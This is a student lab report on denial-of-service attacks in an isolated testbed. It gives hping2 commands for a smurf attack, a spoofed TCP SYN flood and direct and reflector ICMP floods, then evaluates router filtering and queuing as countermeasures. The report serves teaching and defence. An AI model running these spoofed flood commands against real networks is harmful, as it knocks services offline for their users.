Dos Attack Assignment

Ivan Aslamov (260228181)
Simon Foucher (260223197)
Amin Mirzaee (260209556)

1)

to measure bandwidth:
hostE: iperf -i1 -s -p 5001
hostD: iperf -t 600 -c 192.168.7.7

slaves:
sysctl -w net.ipv4.echo_ignore_broadcasts = 0

Smurf Attack

runnig this command:
hping2 -1 -i u10000 -a 192.168.10.8 192.168.2.0

after a 5 seconds bandwidth shrined to 0.

(attack with one computer almost killed bandwidth shrinking from 750 kb -> 10kbits

TCP SYN attack:

`hping2 –i u10000 –S –p 80 dst-host-or-ip` -a src_host_spoofed_id

`hping2 –i u10000 –S –p 80 dst-host-or-ip` -a src_host_spoofed_id

after starting to attack E, bandwidth shrinks to 0 instantly, even after stopping attack, host doesn't response for a few seconds.

Direct Attack 3:

for direct attack use:

`hping –1 –i u10000 dst-host-or-ip`

reflector:

`hping –1 –i u10000 dst-host-or-ip` -a src_host_spoofed_id

after reflector attack between E and D:

E could not show any bandwidth measurements.

Counter Measures

Filters:

to create filter we first adding a class to prevent smurf attack from broadcast 192.168.2.0

grouter: class add smurf_tr -src (-net 192.168.2/24)

add to filter this traffic:

filter add deny smurf_tr

filter on

creates good protection for preventing smurf attack since whole group can be easily included into a class for filtering.

SYN attack also can be prevented to a degree when hacker doesn't spoof his src_ip_address.

In our scenario traffic to D and E gets dropped by a router between them, but bandwidth still shrink because of the overhead that it adds to router processing, while bandwidth between D and H doesn't change at all when used broadcast of A host.

However, it does helps at all for attacks when hacker starts spoofing ip addresses since now router has no way to know where packets actually coming from, thus SYN attack and Directed attack can not be prevented by just limiting traffic from some source, unless we also filter traffic that dst to a vulnerable address but then no packets at all will be able to reach it.

Queue

queueing added by creating class for traffic and then creating queue for this traffic , with limited space, and dropping all traffic that exceeds queue limit. This can be nice solution to prevent any type of attack where hacker floods destination hosts with useless data. By limiting comin traffic we can guarantee that even under attack vulnerable host will not be harmed by malicios data, and some traffic can still reach it, making attack to be useless since hacker will not be able to drop host.

to create queue we first class to encapsulate traffic that goes to host D , and traffic for E.

Router:

class add Etraffic -dst (-net ip_of_E)
class add Dtraffic -dst (-net ip_of_D)

we then create 2 queues for them:

queue add Etraffic taildrop -size 256 -weight 1.5
queue add Dtraffic taildrop -size 256 -weight 1.5

we turn of filtering to measure queuing effect:

filter off

after starting **Smurf** attack we can see a difference right away. There still a bandwidth drop but this time it is not as sudden as it was before. Bandwidth between D and E stabilizes at at level of **150**kbits compared to **0**kbits before.

SYN attack ,with spoofed destination address, behavior also changes, now it stabilizes at 30 - 80kbits , but performance drop is also less sudden.

Queuing also reduces impact of the Directed Attack, however correct queues with carefully classes should be placed in router. For this we need to try to predict further attacks and create queues for them.

In the end both of these tools provides good counter measures for DOS attack. Filtering can either completely block out traffic from some known to be bad source, which was very useful in a **Smurf** attack. At the same time Queuing puts restrictions on coming traffic, making attack less powerful and protecting vulnerable host.

Filtering suits more a direct counter measure against attack. While Queuing is an protection that can be transparent during normal working hours and be revealing it self during attack.